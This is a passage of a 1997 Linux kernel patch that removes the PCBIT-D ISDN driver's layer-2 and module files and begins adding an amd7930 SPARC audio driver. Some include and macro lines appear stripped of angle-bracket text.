linux-2.1.29/drivers/isdn/pcbit/layer2.c Sat May 10 18:17:37 1997 +++ linux/drivers/isdn/pcbit/layer2.c Wed Dec 31 19:00:00 1969 @@ -1,763 +0,0 @@ -/* - * Copyright (C) 1996 Universidade de Lisboa - * - * Written by Pedro Roque Marques (roque@di.fc.ul.pt) - * - * This software may be used and distributed according to the terms of - * the GNU Public License, incorporated herein by reference. - */ - -/* - * PCBIT-D low-layer interface - */ - -/* - * Based on documentation provided by Inesc: - * - "Interface com bus do PC para o PCBIT e PCBIT-D", Inesc, Jan 93 - */ - -/* - * TODO: better handling of errors - * re-write/remove debug printks - */ - -#define __NO_VERSION__ - - -#ifdef MODULE -#define INCLUDE_INLINE_FUNCS -#endif - - -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -#include -#include - - -#include "pcbit.h" -#include "layer2.h" -#include "edss1.h" - -#undef DEBUG_FRAG - - - -/* - * task queue struct - */ - - - -/* - * Layer 3 packet demultiplexer - * drv.c - */ - -extern void pcbit_l3_receive(struct pcbit_dev *dev, ulong msg, - struct sk_buff *skb, - ushort hdr_len, ushort refnum); - -/* - * Prototypes - */ - -void pcbit_deliver(void *data); -static void pcbit_transmit(struct pcbit_dev *dev); - -static void pcbit_recv_ack(struct pcbit_dev *dev, unsigned char ack); - -static void pcbit_l2_error(struct pcbit_dev *dev); -static void pcbit_l2_active_conf(struct pcbit_dev *dev, u_char info); -static void pcbit_l2_err_recover(unsigned long data); - -static void pcbit_firmware_bug(struct pcbit_dev *dev); - -static __inline__ void -pcbit_sched_delivery(struct pcbit_dev *dev) -{ - queue_task(&dev->qdelivery, &tq_immediate); - mark_bh(IMMEDIATE_BH); -} - - -/* - * Called from layer3 - */ - -int -pcbit_l2_write(struct pcbit_dev *dev, ulong msg, ushort refnum, - struct sk_buff *skb, unsigned short hdr_len) -{ - struct frame_buf *frame, - *ptr; - unsigned long flags; - - if (dev->l2_state != L2_RUNNING && dev->l2_state != L2_LOADING) { - dev_kfree_skb(skb, FREE_WRITE); - return -1; - } - if ((frame = (struct frame_buf *) kmalloc(sizeof(struct frame_buf), - GFP_ATOMIC)) == NULL) { - printk(KERN_WARNING "pcbit_2_write: kmalloc failed\n"); - dev_kfree_skb(skb, FREE_WRITE); - return -1; - } - frame->msg = msg; - frame->refnum = refnum; - frame->copied = 0; - frame->hdr_len = hdr_len; - - if (skb) - frame->dt_len = skb->len - hdr_len; - else - frame->dt_len = 0; - - frame->skb = skb; - - frame->next = NULL; - - save_flags(flags); - cli(); - - if (dev->write_queue == NULL) { - dev->write_queue = frame; - restore_flags(flags); - pcbit_transmit(dev); - } else { - for (ptr = dev->write_queue; ptr->next; ptr = ptr->next); - ptr->next = frame; - - restore_flags(flags); - } - return 0; -} - -static __inline__ void -pcbit_tx_update(struct pcbit_dev *dev, ushort len) -{ - u_char info; - - dev->send_seq = (dev->send_seq + 1) % 8; - - dev->fsize[dev->send_seq] = len; - info = 0; - info |= dev->rcv_seq << 3; - info |= dev->send_seq; - - writeb(info, dev->sh_mem + BANK4); - -} - -/* - * called by interrupt service routine or by write_2 - */ - -static void -pcbit_transmit(struct pcbit_dev *dev) -{ - struct frame_buf *frame = NULL; - unsigned char unacked; - int flen; /* fragment frame length including all headers */ - int totlen; /* non-fragmented frame length */ - int free; - int count, - cp_len; - unsigned long flags; - unsigned short tt; - - if (dev->l2_state != L2_RUNNING && dev->l2_state != L2_LOADING) - return; - - unacked = (dev->send_seq + (8 - dev->unack_seq)) & 0x07; - - save_flags(flags); - cli(); - - if (dev->free > 16 && dev->write_queue && unacked < 7) { - - if (!dev->w_busy) - dev->w_busy = 1; - else { - restore_flags(flags); - return; - } - - - frame = dev->write_queue; - free = dev->free; - - restore_flags(flags); - - if (frame->copied == 0) { - - /* Type 0 frame */ - - struct msg_fmt *msg; - - if (frame->skb) - totlen = FRAME_HDR_LEN + PREHDR_LEN + frame->skb->len; - else - totlen = FRAME_HDR_LEN + PREHDR_LEN; - - flen = MIN(totlen, free); - - msg = (struct msg_fmt *) &(frame->msg); - - /* - * Board level 2 header - */ - - pcbit_writew(dev, flen - FRAME_HDR_LEN); - - pcbit_writeb(dev, msg->cpu); - - pcbit_writeb(dev, msg->proc); - - /* TH */ - pcbit_writew(dev, frame->hdr_len + PREHDR_LEN); - - /* TD */ - pcbit_writew(dev, frame->dt_len); - - - /* - * Board level 3 fixed-header - */ - - /* LEN = TH */ - pcbit_writew(dev, frame->hdr_len + PREHDR_LEN); - - /* XX */ - pcbit_writew(dev, 0); - - /* C + S */ - pcbit_writeb(dev, msg->cmd); - pcbit_writeb(dev, msg->scmd); - - /* NUM */ - pcbit_writew(dev, frame->refnum); - - count = FRAME_HDR_LEN + PREHDR_LEN; - } else { - /* Type 1 frame */ - - totlen = 2 + (frame->skb->len - frame->copied); - - flen = MIN(totlen, free); - - /* TT */ - tt = ((ushort) (flen - 2)) | 0x8000U; /* Type 1 */ - pcbit_writew(dev, tt); - - count = 2; - } - - if (frame->skb) { - cp_len = MIN(frame->skb->len - frame->copied, - flen - count); - - memcpy_topcbit(dev, frame->skb->data + frame->copied, - cp_len); - frame->copied += cp_len; - } - /* bookkeeping */ - dev->free -= flen; - pcbit_tx_update(dev, flen); - - save_flags(flags); - cli(); - - - if (frame->skb == NULL || frame->copied == frame->skb->len) { - - dev->write_queue = frame->next; - - if (frame->skb != NULL) { - /* free frame */ - dev_kfree_skb(frame->skb, FREE_WRITE); - } - kfree(frame); - } - dev->w_busy = 0; - restore_flags(flags); - } else { - restore_flags(flags); -#ifdef DEBUG - printk(KERN_DEBUG "unacked %d free %d write_queue %s\n", - unacked, dev->free, dev->write_queue ? "not empty" : - "empty"); -#endif - } -} - - -/* - * deliver a queued frame to the upper layer - */ - -void -pcbit_deliver(void *data) -{ - struct frame_buf *frame; - unsigned long flags; - struct msg_fmt msg; - struct pcbit_dev *dev = (struct pcbit_dev *) data; - - save_flags(flags); - cli(); - - while ((frame = dev->read_queue)) { - dev->read_queue = frame->next; - restore_flags(flags); - - msg.cpu = 0; - msg.proc = 0; - msg.cmd = frame->skb->data[2]; - msg.scmd = frame->skb->data[3]; - - frame->refnum = *((ushort *) frame->skb->data + 4); - frame->msg = *((ulong *) & msg); - - skb_pull(frame->skb, 6); - - pcbit_l3_receive(dev, frame->msg, frame->skb, frame->hdr_len, - frame->refnum); - - kfree(frame); - - save_flags(flags); - cli(); - } - - restore_flags(flags); -} - -/* - * Reads BANK 2 & Reassembles - */ - -static void -pcbit_receive(struct pcbit_dev *dev) -{ - unsigned short tt; - u_char cpu, - proc; - struct frame_buf *frame = NULL; - unsigned long flags; - u_char type1; - - if (dev->l2_state != L2_RUNNING && dev->l2_state != L2_LOADING) - return; - - tt = pcbit_readw(dev); - - if ((tt & 0x7fffU) > 511) { - printk(KERN_INFO "pcbit: invalid frame length -> TT=%04x\n", - tt); - pcbit_l2_error(dev); - return; - } - if (!(tt & 0x8000U)) { /* Type 0 */ - type1 = 0; - - if (dev->read_frame) { - printk(KERN_DEBUG "pcbit_receive: Type 0 frame and read_frame != NULL\n"); -#if 0 - pcbit_l2_error(dev); - return; -#else - /* discard previous queued frame */ - if (dev->read_frame->skb) { - SET_SKB_FREE(dev->read_frame->skb); - kfree_skb(dev->read_frame->skb, FREE_READ); - } - kfree(dev->read_frame); - dev->read_frame = NULL; -#endif - } - frame = kmalloc(sizeof(struct frame_buf), GFP_ATOMIC); - - if (frame == NULL) { - printk(KERN_WARNING "kmalloc failed\n"); - return; - } - memset(frame, 0, sizeof(struct frame_buf)); - - cpu = pcbit_readb(dev); - proc = pcbit_readb(dev); - - - if (cpu != 0x06 && cpu != 0x02) { - printk(KERN_DEBUG "pcbit: invalid cpu value\n"); - kfree(frame); - pcbit_l2_error(dev); - return; - } - /* - * we discard cpu & proc on receiving - * but we read it to update the pointer - */ - - frame->hdr_len = pcbit_readw(dev); - frame->dt_len = pcbit_readw(dev); - - /* - * 0 sized packet - * I don't know if they are an error or not... - * But they are very frequent - * Not documented - */ - - if (frame->hdr_len == 0) { - kfree(frame); -#ifdef DEBUG - printk(KERN_DEBUG "0 sized frame\n"); -#endif - pcbit_firmware_bug(dev); - return; - } - /* sanity check the length values */ - if (frame->hdr_len > 1024 || frame->dt_len > 2048) { -#ifdef DEBUG - printk(KERN_DEBUG "length problem: "); - printk(KERN_DEBUG "TH=%04x TD=%04x\n", - frame->hdr_len, - frame->dt_len); -#endif - pcbit_l2_error(dev); - kfree(frame); - return; - } - /* minimum frame read */ - - frame->skb = dev_alloc_skb(frame->hdr_len + frame->dt_len + - ((frame->hdr_len + 15) & ~15)); - - if (!frame->skb) { - printk(KERN_DEBUG "pcbit_receive: out of memory\n"); - kfree(frame); - return; - } - /* 16 byte alignment for IP */ - if (frame->dt_len) - skb_reserve(frame->skb, (frame->hdr_len + 15) & ~15); - - } else { - /* Type 1 */ - type1 = 1; - tt &= 0x7fffU; - - if (!(frame = dev->read_frame)) { - printk("Type 1 frame and no frame queued\n"); -#if 1 - /* usually after an error: toss frame */ - dev->readptr += tt; - if (dev->readptr > dev->sh_mem + BANK2 + BANKLEN) - dev->readptr -= BANKLEN; -#else - pcbit_l2_error(dev); -#endif - return; - - } - } - - memcpy_frompcbit(dev, skb_put(frame->skb, tt), tt); - - frame->copied += tt; - - if (frame->copied == frame->hdr_len + frame->dt_len) { - - save_flags(flags); - cli(); - - if (type1) { - dev->read_frame = NULL; - } - if (dev->read_queue) { - struct frame_buf *ptr; - for (ptr = dev->read_queue; ptr->next; ptr = ptr->next); - ptr->next = frame; - } else - dev->read_queue = frame; - - restore_flags(flags); - - } else { - save_flags(flags); - cli(); - dev->read_frame = frame; - restore_flags(flags); - } -} - -/* - * The board sends 0 sized frames - * They are TDATA_CONFs that get messed up somehow - * gotta send a fake acknowledgment to the upper layer somehow - */ - -static __inline__ void -pcbit_fake_conf(struct pcbit_dev *dev, struct pcbit_chan *chan) -{ - isdn_ctrl ictl; - - if (chan->queued) { - chan->queued--; - - ictl.driver = dev->id; - ictl.command = ISDN_STAT_BSENT; - ictl.arg = chan->id; - dev->dev_if->statcallb(&ictl); - } -} - -static void -pcbit_firmware_bug(struct pcbit_dev *dev) -{ - struct pcbit_chan *chan; - - chan = dev->b1; - - if (chan->fsm_state == ST_ACTIVE) { - pcbit_fake_conf(dev, chan); - } - chan = dev->b2; - - if (chan->fsm_state == ST_ACTIVE) { - pcbit_fake_conf(dev, chan); - } -} - -void -pcbit_irq_handler(int interrupt, void *devptr, struct pt_regs *regs) -{ - struct pcbit_dev *dev; - u_char info, - ack_seq, - read_seq; - - dev = (struct pcbit_dev *) devptr; - - if (!dev) { - printk(KERN_WARNING "pcbit_irq_handler: wrong device\n"); - return; - } - if (dev->interrupt) { - printk(KERN_DEBUG "pcbit: reentering interrupt hander\n"); - return; - } - dev->interrupt = 1; - - info = readb(dev->sh_mem + BANK3); - - if (dev->l2_state == L2_STARTING || dev->l2_state == L2_ERROR) { - pcbit_l2_active_conf(dev, info); - dev->interrupt = 0; - return; - } - if (info & 0x40U) { /* E bit set */ -#ifdef DEBUG - printk(KERN_DEBUG "pcbit_irq_handler: E bit on\n"); -#endif - pcbit_l2_error(dev); - dev->interrupt = 0; - return; - } - if (dev->l2_state != L2_RUNNING && dev->l2_state != L2_LOADING) { - dev->interrupt = 0; - return; - } - ack_seq = (info >> 3) & 0x07U; - read_seq = (info & 0x07U); - - dev->interrupt = 0; - - if (read_seq != dev->rcv_seq) { - while (read_seq != dev->rcv_seq) { - pcbit_receive(dev); - dev->rcv_seq = (dev->rcv_seq + 1) % 8; - } - pcbit_sched_delivery(dev); - } - if (ack_seq != dev->unack_seq) { - pcbit_recv_ack(dev, ack_seq); - } - info = dev->rcv_seq << 3; - info |= dev->send_seq; - - writeb(info, dev->sh_mem + BANK4); -} - - -static void -pcbit_l2_active_conf(struct pcbit_dev *dev, u_char info) -{ - u_char state; - - state = dev->l2_state; - -#ifdef DEBUG - printk(KERN_DEBUG "layer2_active_confirm\n"); -#endif - - - if (info & 0x80U) { - dev->rcv_seq = info & 0x07U; - dev->l2_state = L2_RUNNING; - } else - dev->l2_state = L2_DOWN; - - if (state == L2_STARTING) - wake_up_interruptible(&dev->set_running_wq); - - if (state == L2_ERROR && dev->l2_state == L2_RUNNING) { - pcbit_transmit(dev); - } -} - -static void -pcbit_l2_err_recover(unsigned long data) -{ - - struct pcbit_dev *dev; - struct frame_buf *frame; - - dev = (struct pcbit_dev *) data; - - del_timer(&dev->error_recover_timer); - if (dev->w_busy || dev->r_busy) { - init_timer(&dev->error_recover_timer); - dev->error_recover_timer.expires = jiffies + ERRTIME; - add_timer(&dev->error_recover_timer); - return; - } - dev->w_busy = dev->r_busy = 1; - - if (dev->read_frame) { - if (dev->read_frame->skb) { - SET_SKB_FREE(dev->read_frame->skb); - kfree_skb(dev->read_frame->skb, FREE_READ); - } - kfree(dev->read_frame); - dev->read_frame = NULL; - } - if (dev->write_queue) { - frame = dev->write_queue; -#ifdef FREE_ON_ERROR - dev->write_queue = dev->write_queue->next; - - if (frame->skb) { - dev_kfree_skb(frame->skb, FREE_WRITE); - } - kfree(frame); -#else - frame->copied = 0; -#endif - } - dev->rcv_seq = dev->send_seq = dev->unack_seq = 0; - dev->free = 511; - dev->l2_state = L2_ERROR; - - /* this is an hack... */ - pcbit_firmware_bug(dev); - - dev->writeptr = dev->sh_mem; - dev->readptr = dev->sh_mem + BANK2; - - writeb((0x80U | ((dev->rcv_seq & 0x07) << 3) | (dev->send_seq & 0x07)), - dev->sh_mem + BANK4); - dev->w_busy = dev->r_busy = 0; - -} - -static void -pcbit_l2_error(struct pcbit_dev *dev) -{ - if (dev->l2_state == L2_RUNNING) { - - printk(KERN_INFO "pcbit: layer 2 error\n"); - -#ifdef DEBUG - log_state(dev); -#endif - - dev->l2_state = L2_DOWN; - - init_timer(&dev->error_recover_timer); - dev->error_recover_timer.function = &pcbit_l2_err_recover; - dev->error_recover_timer.data = (ulong) dev; - dev->error_recover_timer.expires = jiffies + ERRTIME; - add_timer(&dev->error_recover_timer); - } -} - -/* - * Description: - * if board acks frames - * update dev->free - * call pcbit_transmit to write possible queued frames - */ - -static void -pcbit_recv_ack(struct pcbit_dev *dev, unsigned char ack) -{ - int i, - count; - int unacked; - - unacked = (dev->send_seq + (8 - dev->unack_seq)) & 0x07; - - /* dev->unack_seq < ack <= dev->send_seq; */ - - if (unacked) { - - if (dev->send_seq > dev->unack_seq) - if (ack <= dev->unack_seq || ack > dev->send_seq) { - printk(KERN_DEBUG - "layer 2 ack unacceptable - dev %d", - dev->id); - - pcbit_l2_error(dev); - } else if (ack > dev->send_seq && ack <= dev->unack_seq) { - printk(KERN_DEBUG - "layer 2 ack unacceptable - dev %d", - dev->id); - pcbit_l2_error(dev); - } - /* ack is acceptable */ - - - i = dev->unack_seq; - - do { - dev->unack_seq = i = (i + 1) % 8; - dev->free += dev->fsize[i]; - } while (i != ack); - - count = 0; - while (count < 7 && dev->write_queue) { - u8 lsend_seq = dev->send_seq; - - pcbit_transmit(dev); - - if (dev->send_seq == lsend_seq) - break; - count++; - } - } else - printk(KERN_DEBUG "recv_ack: unacked = 0\n"); -} diff -u --recursive --new-file linux-2.1.29/drivers/isdn/pcbit/layer2.h linux/drivers/isdn/pcbit/layer2.h --- linux-2.1.29/drivers/isdn/pcbit/layer2.h Wed Sep 4 13:37:14 1996 +++ linux/drivers/isdn/pcbit/layer2.h Wed Dec 31 19:00:00 1969 @@ -1,287 +0,0 @@ -/* - * Copyright (C) 1996 Universidade de Lisboa - * - * Written by Pedro Roque Marques (roque@di.fc.ul.pt) - * - * This software may be used and distributed according to the terms of - * the GNU Public License, incorporated herein by reference. - */ - -/* - * PCBIT-D low-layer interface definitions - */ - -#ifndef LAYER2_H -#define LAYER2_H - -#include - -#define BANK1 0x0000U /* PC -> Board */ -#define BANK2 0x01ffU /* Board -> PC */ -#define BANK3 0x03feU /* Att Board */ -#define BANK4 0x03ffU /* Att PC */ - -#define BANKLEN 0x01FFU - -#define LOAD_ZONE_START 0x03f8U -#define LOAD_ZONE_END 0x03fdU - -#define LOAD_RETRY 18000000 - - - -/* TAM - XX - C - S - NUM */ -#define PREHDR_LEN 8 -/* TT - M - I - TH - TD */ -#define FRAME_HDR_LEN 8 - -#define MSG_CONN_REQ 0x08000100 -#define MSG_CONN_CONF 0x00000101 -#define MSG_CONN_IND 0x00000102 -#define MSG_CONN_RESP 0x08000103 - -#define MSG_CONN_ACTV_REQ 0x08000300 -#define MSG_CONN_ACTV_CONF 0x00000301 -#define MSG_CONN_ACTV_IND 0x00000302 -#define MSG_CONN_ACTV_RESP 0x08000303 - -#define MSG_DISC_REQ 0x08000400 -#define MSG_DISC_CONF 0x00000401 -#define MSG_DISC_IND 0x00000402 -#define MSG_DISC_RESP 0x08000403 - -#define MSG_TDATA_REQ 0x0908E200 -#define MSG_TDATA_CONF 0x0000E201 -#define MSG_TDATA_IND 0x0000E202 -#define MSG_TDATA_RESP 0x0908E203 - -#define MSG_SELP_REQ 0x09004000 -#define MSG_SELP_CONF 0x00004001 - -#define MSG_ACT_TRANSP_REQ 0x0908E000 -#define MSG_ACT_TRANSP_CONF 0x0000E001 - -#define MSG_STPROT_REQ 0x09004100 -#define MSG_STPROT_CONF 0x00004101 - -#define MSG_PING188_REQ 0x09030500 -#define MSG_PING188_CONF 0x000005bc - -#define MSG_WATCH188 0x09030400 - -#define MSG_API_ON 0x08020102 -#define MSG_POOL_PCBIT 0x08020400 -#define MSG_POOL_PCBIT_CONF 0x00000401 - -#define MSG_INFO_IND 0x00002602 -#define MSG_INFO_RESP 0x08002603 - -#define MSG_DEBUG_188 0x0000ff00 - -/* - - long 4 3 2 1 - Intel 1 2 3 4 -*/ - -struct msg_fmt { -#ifdef __LITTLE_ENDIAN /* Little Endian */ - u_char scmd; - u_char cmd; - u_char proc; - u_char cpu; -#else -#error "Non-Intel CPU" - u_char cpu; - u_char proc; - u_char cmd; - u_char scmd; -#endif -}; - - -#define MAX_QUEUED 7 - -#define SCHED_READ 0x01 -#define SCHED_WRITE 0x02 - -#define SET_RUN_TIMEOUT 2*HZ /* 2 seconds */ - - -struct frame_buf { - ulong msg; - unsigned short refnum; - unsigned short dt_len; - unsigned short hdr_len; - struct sk_buff *skb; - unsigned short copied; - struct frame_buf * next; -}; - -#define MIN(a,b) ((awriteptr - dev->sh_mem)); - printk(KERN_DEBUG "readptr = %ld\n", - (ulong) (dev->readptr - (dev->sh_mem + BANK2))); - printk(KERN_DEBUG "{rcv_seq=%01x, send_seq=%01x, unack_seq=%01x}\n", - dev->rcv_seq, dev->send_seq, dev->unack_seq); -} -#endif - -static __inline__ struct pcbit_dev * chan2dev(struct pcbit_chan * chan) -{ - struct pcbit_dev * dev; - int i; - - - for (i=0; ib1 == chan || dev->b2 == chan) - return dev; - return NULL; - -} - -static __inline__ struct pcbit_dev * finddev(int id) -{ - struct pcbit_dev * dev; - int i; - - for (i=0; iid == id) - return dev; - return NULL; -} - - -/* - * Support routines for reading and writing in the board - */ - -static __inline__ void pcbit_writeb(struct pcbit_dev *dev, unsigned char dt) -{ - writeb(dt, dev->writeptr++); - if (dev->writeptr == dev->sh_mem + BANKLEN) - dev->writeptr = dev->sh_mem; -} - -static __inline__ void pcbit_writew(struct pcbit_dev *dev, unsigned short dt) -{ - int dist; - - dist = BANKLEN - (dev->writeptr - dev->sh_mem); - switch (dist) { - case 2: - writew(dt, dev->writeptr); - dev->writeptr = dev->sh_mem; - break; - case 1: - writeb((u_char) (dt & 0x00ffU), dev->writeptr); - dev->writeptr = dev->sh_mem; - writeb((u_char) (dt >> 8), dev->writeptr++); - break; - default: - writew(dt, dev->writeptr); - dev->writeptr += 2; - break; - }; -} - -static __inline__ void memcpy_topcbit(struct pcbit_dev * dev, u_char * data, - int len) -{ - int diff; - - diff = len - (BANKLEN - (dev->writeptr - dev->sh_mem) ); - - if (diff > 0) - { - memcpy_toio(dev->writeptr, data, len - diff); - memcpy_toio(dev->sh_mem, data + (len - diff), diff); - dev->writeptr = dev->sh_mem + diff; - } - else - { - memcpy_toio(dev->writeptr, data, len); - - dev->writeptr += len; - if (diff == 0) - dev->writeptr = dev->sh_mem; - } -} - -static __inline__ unsigned char pcbit_readb(struct pcbit_dev *dev) -{ - unsigned char val; - - val = readb(dev->readptr++); - if (dev->readptr == dev->sh_mem + BANK2 + BANKLEN) - dev->readptr = dev->sh_mem + BANK2; - - return val; -} - -static __inline__ unsigned short pcbit_readw(struct pcbit_dev *dev) -{ - int dist; - unsigned short val; - - dist = BANKLEN - ( dev->readptr - (dev->sh_mem + BANK2 ) ); - switch (dist) { - case 2: - val = readw(dev->readptr); - dev->readptr = dev->sh_mem + BANK2; - break; - case 1: - val = readb(dev->readptr); - dev->readptr = dev->sh_mem + BANK2; - val = (readb(dev->readptr++) << 8) | val; - break; - default: - val = readw(dev->readptr); - dev->readptr += 2; - break; - }; - return val; -} - -static __inline__ void memcpy_frompcbit(struct pcbit_dev * dev, u_char * data, int len) -{ - int diff; - - diff = len - (BANKLEN - (dev->readptr - (dev->sh_mem + BANK2) ) ); - if (diff > 0) - { - memcpy_fromio(data, dev->readptr, len - diff); - memcpy_fromio(data + (len - diff), dev->sh_mem + BANK2 , diff); - dev->readptr = dev->sh_mem + BANK2 + diff; - } - else - { - memcpy_fromio(data, dev->readptr, len); - dev->readptr += len; - if (diff == 0) - dev->readptr = dev->sh_mem + BANK2; - } -} - - -#endif - - - - - - - diff -u --recursive --new-file linux-2.1.29/drivers/isdn/pcbit/module.c linux/drivers/isdn/pcbit/module.c --- linux-2.1.29/drivers/isdn/pcbit/module.c Sat May 10 18:17:37 1997 +++ linux/drivers/isdn/pcbit/module.c Wed Dec 31 19:00:00 1969 @@ -1,137 +0,0 @@ -/* - * Copyright (C) 1996 Universidade de Lisboa - * - * Written by Pedro Roque Marques (roque@di.fc.ul.pt) - * - * This software may be used and distributed according to the terms of - * the GNU Public License, incorporated herein by reference. - */ - -/* - * PCBIT-D module support - */ - -#include - -#include -#include -#include -#include -#include - -#include -#include "pcbit.h" - -int mem[MAX_PCBIT_CARDS] = {0, }; -int irq[MAX_PCBIT_CARDS] = {0, }; - -int num_boards; -struct pcbit_dev * dev_pcbit[MAX_PCBIT_CARDS] = {0, 0, 0, 0}; - -int init_module(void); -void cleanup_module(void); - -extern void pcbit_terminate(int board); -extern int pcbit_init_dev(int board, int mem_base, int irq); - -#ifdef MODULE -#if (LINUX_VERSION_CODE > 0x020111) -MODULE_PARM(mem, "1-" __MODULE_STRING(MAX_PCBIT_CARDS) "i"); -MODULE_PARM(irq, "1-" __MODULE_STRING(MAX_PCBIT_CARDS) "i"); -#endif -#define pcbit_init init_module -#endif - -int pcbit_init(void) -{ - int board; - - num_boards = 0; - - printk(KERN_INFO - "PCBIT-D device driver v 0.5 - " - "Copyright (C) 1996 Universidade de Lisboa\n"); - - if (mem[0] || irq[0]) - { - for (board=0; board < MAX_PCBIT_CARDS && mem[board] && irq[board]; board++) - { - if (!mem[board]) - mem[board] = 0xD0000; - if (!irq[board]) - irq[board] = 5; - - if (pcbit_init_dev(board, mem[board], irq[board]) == 0) - num_boards++; - - else - { - printk(KERN_WARNING - "pcbit_init failed for dev %d", - board + 1); - return -EIO; - } - } - } - - /* Hardcoded default settings detection */ - - if (!num_boards) - { - printk(KERN_INFO - "Trying to detect board using default settings\n"); - if (pcbit_init_dev(0, 0xD0000, 5) == 0) - num_boards++; - else - return -EIO; - } - - /* No symbols to export, hide all symbols */ -#if (LINUX_VERSION_CODE < 0x020111) - register_symtab(NULL); -#else - EXPORT_NO_SYMBOLS; -#endif - - return 0; -} - -#ifdef MODULE -void cleanup_module(void) -{ - int board; - - for (board = 0; board < num_boards; board++) - pcbit_terminate(board); - printk(KERN_INFO - "PCBIT-D module unloaded\n"); -} - -#else -void pcbit_setup(char *str, int *ints) -{ - int i, j, argc; - - argc = ints[0]; - i = 0; - j = 1; - - while (argc && (i -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "audio.h" -#include "amd7930.h" - -#define MAX_DRIVERS 1 - -/* Private information we store for each amd7930 chip. */ -struct amd7930_info { - /* Current buffer that the driver is playing. */ - volatile __u8 * output_ptr; - volatile unsigned long output_count; - - /* Current record buffer. */ - volatile __u8 * input_ptr; - volatile unsigned long input_count; - - /* Device registers information. */ - struct amd7930 *regs; - unsigned long regs_size; - struct amd7930_map map; - - /* Device interrupt information. */ - int irq; - volatile int ints_on; -}; - -/* Output a 16-bit quantity in the order that the amd7930 expects. */ -#define amd7930_out16(regs,v) ({ regs->dr = v & 0xFF; regs->dr = (v >> 8) & 0xFF; }) - - -/* - * gx, gr & stg gains. this table must contain 256 elements with - * the 0th being "infinity" (the magic value 9008). The remaining - * elements match sun's gain curve (but with higher resolution): - * -18 to 0dB in .16dB steps then 0 to 12dB in .08dB steps. - */ -static __const__ __u16 gx_coeff[256] = { - 0x9008, 0x8b7c, 0x8b51, 0x8b45, 0x8b42, 0x8b3b, 0x8b36, 0x8b33, - 0x8b32, 0x8b2a, 0x8b2b, 0x8b2c, 0x8b25, 0x8b23, 0x8b22, 0x8b22, - 0x9122, 0x8b1a, 0x8aa3, 0x8aa3, 0x8b1c, 0x8aa6, 0x912d, 0x912b, - 0x8aab, 0x8b12, 0x8aaa, 0x8ab2, 0x9132, 0x8ab4, 0x913c, 0x8abb, - 0x9142, 0x9144, 0x9151, 0x8ad5, 0x8aeb, 0x8a79, 0x8a5a, 0x8a4a, - 0x8b03, 0x91c2, 0x91bb, 0x8a3f, 0x8a33, 0x91b2, 0x9212, 0x9213, - 0x8a2c, 0x921d, 0x8a23, 0x921a, 0x9222, 0x9223, 0x922d, 0x9231, - 0x9234, 0x9242, 0x925b, 0x92dd, 0x92c1, 0x92b3, 0x92ab, 0x92a4, - 0x92a2, 0x932b, 0x9341, 0x93d3, 0x93b2, 0x93a2, 0x943c, 0x94b2, - 0x953a, 0x9653, 0x9782, 0x9e21, 0x9d23, 0x9cd2, 0x9c23, 0x9baa, - 0x9bde, 0x9b33, 0x9b22, 0x9b1d, 0x9ab2, 0xa142, 0xa1e5, 0x9a3b, - 0xa213, 0xa1a2, 0xa231, 0xa2eb, 0xa313, 0xa334, 0xa421, 0xa54b, - 0xada4, 0xac23, 0xab3b, 0xaaab, 0xaa5c, 0xb1a3, 0xb2ca, 0xb3bd, - 0xbe24, 0xbb2b, 0xba33, 0xc32b, 0xcb5a, 0xd2a2, 0xe31d, 0x0808, - 0x72ba, 0x62c2, 0x5c32, 0x52db, 0x513e, 0x4cce, 0x43b2, 0x4243, - 0x41b4, 0x3b12, 0x3bc3, 0x3df2, 0x34bd, 0x3334, 0x32c2, 0x3224, - 0x31aa, 0x2a7b, 0x2aaa, 0x2b23, 0x2bba, 0x2c42, 0x2e23, 0x25bb, - 0x242b, 0x240f, 0x231a, 0x22bb, 0x2241, 0x2223, 0x221f, 0x1a33, - 0x1a4a, 0x1acd, 0x2132, 0x1b1b, 0x1b2c, 0x1b62, 0x1c12, 0x1c32, - 0x1d1b, 0x1e71, 0x16b1, 0x1522, 0x1434, 0x1412, 0x1352, 0x1323, - 0x1315, 0x12bc, 0x127a, 0x1235, 0x1226, 0x11a2, 0x1216, 0x0a2a, - 0x11bc, 0x11d1, 0x1163, 0x0ac2, 0x0ab2, 0x0aab, 0x0b1b, 0x0b23, - 0x0b33, 0x0c0f, 0x0bb3, 0x0c1b, 0x0c3e, 0x0cb1, 0x0d4c, 0x0ec1, - 0x079a, 0x0614, 0x0521, 0x047c, 0x0422, 0x03b1, 0x03e3, 0x0333, - 0x0322, 0x031c, 0x02aa, 0x02ba, 0x02f2, 0x0242, 0x0232, 0x0227, - 0x0222, 0x021b, 0x01ad, 0x0212, 0x01b2, 0x01bb, 0x01cb, 0x01f6, - 0x0152, 0x013a, 0x0133, 0x0131, 0x012c, 0x0123, 0x0122, 0x00a2, - 0x011b, 0x011e, 0x0114, 0x00b1, 0x00aa, 0x00b3, 0x00bd, 0x00ba, - 0x00c5, 0x00d3, 0x00f3, 0x0062, 0x0051, 0x0042, 0x003b, 0x0033, - 0x0032, 0x002a, 0x002c, 0x0025, 0x0023, 0x0022, 0x001a, 0x0021, - 0x001b, 0x001b, 0x001d, 0x0015, 0x0013, 0x0013, 0x0012, 0x0012, - 0x000a, 0x000a, 0x0011, 0x0011, 0x000b, 0x000b, 0x000c, 0x000e, -}; - -static __const__ __u16 ger_coeff[] = { - 0x431f, /* 5. dB */ - 0x331f, /* 5.5 dB */ - 0x40dd, /* 6. dB */ - 0x11dd, /* 6.5 dB */ - 0x440f, /* 7. dB */ - 0x411f, /* 7.5 dB */ - 0x311f, /* 8. dB */ - 0x5520, /* 8.5 dB */ - 0x10dd, /* 9. dB */ - 0x4211, /* 9.5 dB */ - 0x410f, /* 10. dB */ - 0x111f, /* 10.5 dB */ - 0x600b, /* 11. dB */ - 0x00dd, /* 11.5 dB */ - 0x4210, /* 12. dB */ - 0x110f, /* 13. dB */ - 0x7200, /* 14. dB */ - 0x2110, /* 15. dB */ - 0x2200, /* 15.9 dB */ - 0x000b, /* 16.9 dB */ - 0x000f /* 18. dB */ -}; -#define NR_GER_COEFFS (sizeof(ger_coeff) / sizeof(ger_coeff[0])) - -/* Enable amd7930 interrupts atomically. */ -static __inline__ void amd7930_enable_ints(struct sparcaudio_driver *drv) -{ - struct amd7930_info *info = (struct amd7930_info *)drv->private; - register unsigned long flags; - - if (info->ints_on) - return; - - save_and_cli(flags); - info->regs->cr = AMR_INIT; - info->regs->dr = AM_INIT_ACTIVE; - restore_flags(flags); - - info->ints_on = 1; -} - -/* Disable amd7930 interrupts atomically. */ -static 